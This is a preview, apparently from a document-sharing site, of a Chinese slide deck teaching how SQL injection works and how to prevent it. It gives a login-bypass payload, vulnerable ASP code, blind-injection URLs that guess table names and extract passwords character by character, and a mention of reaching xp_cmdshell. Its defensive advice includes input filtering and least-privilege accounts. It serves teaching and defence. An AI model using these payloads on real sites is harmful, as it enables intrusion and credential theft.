SQL注入的原理及防范課件_第1頁(yè)
SQL注入的原理及防范課件_第2頁(yè)
SQL注入的原理及防范課件_第3頁(yè)
SQL注入的原理及防范課件_第4頁(yè)
SQL注入的原理及防范課件_第5頁(yè)
已閱讀5頁(yè),還剩16頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶(hù)提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

SQL注入的原理及防范梁興建一、SQL注入簡(jiǎn)介程序員在編寫(xiě)代碼的時(shí)候,沒(méi)有對(duì)用戶(hù)輸入數(shù)據(jù)的合法性進(jìn)行判斷,使應(yīng)用程序存在安全隱患。用戶(hù)可以提交一段數(shù)據(jù)庫(kù)查詢(xún)代碼,根據(jù)程序返回的結(jié)果,獲得某些他想得知的數(shù)據(jù),這就是所謂的SQLInjection,即SQL注入。一、SQL注入簡(jiǎn)介

SQL注入是從正常的WWW端口訪(fǎng)問(wèn),而且表面看起來(lái)跟一般的Web頁(yè)面訪(fǎng)問(wèn)沒(méi)什么區(qū)別,所以目前市面的防火墻都不會(huì)對(duì)SQL注入發(fā)出警報(bào),如果管理員沒(méi)查看IIS日志的習(xí)慣,可能被入侵很長(zhǎng)時(shí)間都不會(huì)發(fā)覺(jué)。這種攻擊的要訣在于將SQL的查詢(xún)/行為命令通過(guò)‘嵌入’的方式放入合法的HTTP提交請(qǐng)求中從而達(dá)到攻擊者的某種意圖?,F(xiàn)在很多的動(dòng)態(tài)網(wǎng)頁(yè)都會(huì)從該網(wǎng)頁(yè)使用者的請(qǐng)求中得到某些參數(shù),然后動(dòng)態(tài)的構(gòu)成SQL請(qǐng)求發(fā)給數(shù)據(jù)庫(kù)的。一、SQL注入簡(jiǎn)介舉個(gè)例子,當(dāng)有某個(gè)用戶(hù)需要通過(guò)網(wǎng)頁(yè)上的用戶(hù)登陸(用戶(hù)身份驗(yàn)證)時(shí),動(dòng)態(tài)網(wǎng)頁(yè)會(huì)將該用戶(hù)提交上來(lái)的用戶(hù)名與密碼加進(jìn)SQL詢(xún)問(wèn)請(qǐng)求發(fā)給數(shù)據(jù)庫(kù),用于確認(rèn)該用戶(hù)提交的身份驗(yàn)證信息是否有效。在SQL注入攻擊的角度看來(lái),這樣可以使我們?cè)诎l(fā)送SQL請(qǐng)求時(shí)通過(guò)修改用戶(hù)名與/或密碼值的‘領(lǐng)域’區(qū)來(lái)達(dá)到攻擊的目的。一、SQL注入簡(jiǎn)介

但是,SQL注入的手法相當(dāng)靈活,在注入的時(shí)候會(huì)碰到很多意外的情況。必須根據(jù)具體情況進(jìn)行分析,構(gòu)造巧妙的SQL語(yǔ)句,從而成功獲取想要的數(shù)據(jù)。二、登錄驗(yàn)證不足

當(dāng)確認(rèn)有機(jī)會(huì)進(jìn)行注入的時(shí)候,可以在輸入框中加入or語(yǔ)句,這樣可能會(huì)有意外的收獲。Admin’or3>2or‘,這就是我們需要在文本框中輸入的內(nèi)容,這樣能達(dá)到什么效果呢?下面,通過(guò)一個(gè)網(wǎng)頁(yè)來(lái)測(cè)試:二、登錄驗(yàn)證不足

先來(lái)看login.asp文件

以下內(nèi)容為程序代碼:……

<formaction="loging.asp"method="post"name="login">

用戶(hù)名<inputtype=textname=namevalue=""maxlength="20">

密碼<inputtype=passwordname=pwdvalue=""maxlength="20">

<inputtype=submitname=btvalue="確認(rèn)">

<inputtype=resetname=btvalue="重置">

</form>

……二、登錄驗(yàn)證不足

再來(lái)看loging.asp文件

以下內(nèi)容為程序代碼:……

dimrs,sql

dimname,pwd

uname=request.form("name")

upwd=request.form("pwd")ifuname=""orupwd=""then

response.redirect"login.asp"

endif

……'關(guān)于身份驗(yàn)證

sql="select*fromuserwhereuname=‘"&name&“'andpwd=‘"&upwd&“‘"二、登錄驗(yàn)證不足'關(guān)于身份驗(yàn)證

sql="select*fromuserwherename='"&name&“'andpwd='"&pwd&“'"我們?cè)谟脩?hù)名位置輸入【admin'or3>2or'】,在密碼區(qū)輸入【11】??纯磗ql會(huì)變成什么:

以下內(nèi)容為程序代碼:sql=select*fromuserwherename='admin'or3>2or''andpwd='11'我們知道,or是一個(gè)邏輯運(yùn)算符,在判斷多個(gè)條件的時(shí)候,只要有一個(gè)成立,則等式就返回真,后面的and就不再進(jìn)行判斷了,也就是說(shuō)我們繞過(guò)了密碼驗(yàn)證,只要我們知道用戶(hù)名就可以登陸該系統(tǒng)。二、登錄驗(yàn)證不足防范方法(1)過(guò)濾提交數(shù)據(jù);我們可以通過(guò)

以下內(nèi)容為程序代碼:……

dimname,pwd

name=request.form("name")

name=replace(name,"'","’")'替換半角'為全角'

name=replace(exp1,"-","")'替換-為空

name=replace(exp1,";","")'替換;為空

……二、登錄驗(yàn)證不足防范方法(2)過(guò)濾loging.asp文件本身驗(yàn)證的邏輯就是錯(cuò)誤的,應(yīng)該修改為:……

sql="select*fromuserwherename='"&name&"'"

rs.opensql,conn_data,1,1

'身份驗(yàn)證過(guò)程

ifnotrs.eofthen

ifpwd=rs("pwd")then

session("login")="ok"

response.redirect"/default.asp"

else

response.redirect"login.asp"

……二、登錄驗(yàn)證不足防范方法(3)用不同的用戶(hù)帳戶(hù)執(zhí)行查詢(xún)、插入、更新、刪除操作。

(4)通過(guò)數(shù)據(jù)庫(kù)設(shè)置特定的存儲(chǔ)過(guò)程,只允許特定的存儲(chǔ)過(guò)程執(zhí)行,所有的用戶(hù)輸入必須遵從被調(diào)用的存儲(chǔ)過(guò)程的安全上下文,

(5)限制表單或查詢(xún)字符串輸入的長(zhǎng)度。大大增加攻擊者在SQL命令中插入有害代碼的難度。

(6)檢查提取數(shù)據(jù)的查詢(xún)所返回的記錄數(shù)量(=1)。(7)將超級(jí)管理員帳號(hào)置于第2條記錄之后!

三、從網(wǎng)頁(yè)傳遞參數(shù)中注入

這是SQL注入中最常見(jiàn)的方法,并且根據(jù)該注入原理有很多SQL注入工具產(chǎn)生。同樣,首先,應(yīng)測(cè)試這些缺陷是否存在,首先加入某些特殊的字符標(biāo)記,輸入如:‘、and……之類(lèi)的SQL標(biāo)記。如果沒(méi)有進(jìn)行檢測(cè),而直接運(yùn)行SQL語(yǔ)句,說(shuō)明有機(jī)會(huì)進(jìn)行注入。三、從網(wǎng)頁(yè)傳遞參數(shù)中注入

從參數(shù)中注入,準(zhǔn)確的測(cè)試方法應(yīng)該是:①/showdetail.asp?id=49

②/showdetail.asp?id=49and1=1

③/showdetail.asp?id=49and1=2這就是經(jīng)典的1=1、1=2測(cè)試法了,怎么判斷呢?看看上面三個(gè)網(wǎng)址返回的結(jié)果就知道了:可以注入的表現(xiàn):①正常顯示(這是必然的,不然程序就有錯(cuò))

②正常顯示,內(nèi)容基本與①相同

③提示BOF或EOF(程序沒(méi)做任何判斷時(shí))、或提示找不到記錄(判斷了rs.eof時(shí))、或顯示內(nèi)容為空(程序加了onerrorresumenext)不可以注入就比較容易判斷了,①同樣正常顯示,②和③一般都會(huì)有程序定義的錯(cuò)誤提示,或提示類(lèi)型轉(zhuǎn)換時(shí)出錯(cuò)。三、從網(wǎng)頁(yè)傳遞參數(shù)中注入

(1)猜表名:http://www.***.com/show.asp?id=50and

0<>(selectcount(*)fromtablename),這里的tablename就是你猜測(cè)的表名。如果頁(yè)面顯示正常,則你猜測(cè)的表名是正確的。

(2)猜字段名:

http://www.***.com/show.asp?id=50and

0<>(selectcount(fieldname)fromtablename),這里的fieldname是表中某一字段名,如果頁(yè)面顯示正常,可以斷定字段名稱(chēng)正確。

三、從網(wǎng)頁(yè)傳遞參數(shù)中注入

(3)在獲得tablename和fieldname以后,就可以更進(jìn)一步了。

比如是登陸系統(tǒng),tablename是user,fieldname是id,name和pwd,看看能做些什么:

a、http://www.***.com/show.asp?id=50and0<>

(selectcount(*)fromuserwhereid>1000)

粗略判斷用戶(hù)數(shù)量

三、從網(wǎng)頁(yè)傳遞參數(shù)中注入b、http://www.***.com/show.asp?id=50and1=

(selectcount(*)fromuserwhereid=1andlen(name)=10)

判斷id為1的用戶(hù)的用戶(hù)名長(zhǎng)度是否為10

c、http://www.***.com/show.asp?id=50and1=

(selectcount(*)fromuserwhereid=1andmid(name,n,1)='a')

判斷id為1的用戶(hù)的用戶(hù)名的第n位是否為a

三、從網(wǎng)頁(yè)傳遞參數(shù)中注入d、http://www.***.com/show.asp?id=50and1=

(selectcount(*)fromuserwhereid=1andlen(pwd)=10)

判斷id為1的用戶(hù)的密碼長(zhǎng)度是否為10

e、http://www.***.com/show.asp?id=50and1=

(selectcount(*)fromuserwhereid=1andmid(pwd,n,1)='a')

判斷id為1的用戶(hù)的密碼的第n位是否為a,這樣用戶(hù)的登錄信息將全部得到,如果你的密碼沒(méi)有加密,整個(gè)網(wǎng)站將毀于一旦!三、從網(wǎng)頁(yè)傳遞參數(shù)中注入另外,如果是SQLServer,我們可以通sysobjects的操作,獲取sa的密碼,一旦得到sa的權(quán)限,就可以執(zhí)行xp_cmdshell了,那么相當(dāng)于可以輕易的取得操作服務(wù)器的權(quán)限。如execmaster..xp_cmdshell“netuserna

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶(hù)所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶(hù)上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶(hù)上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶(hù)因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論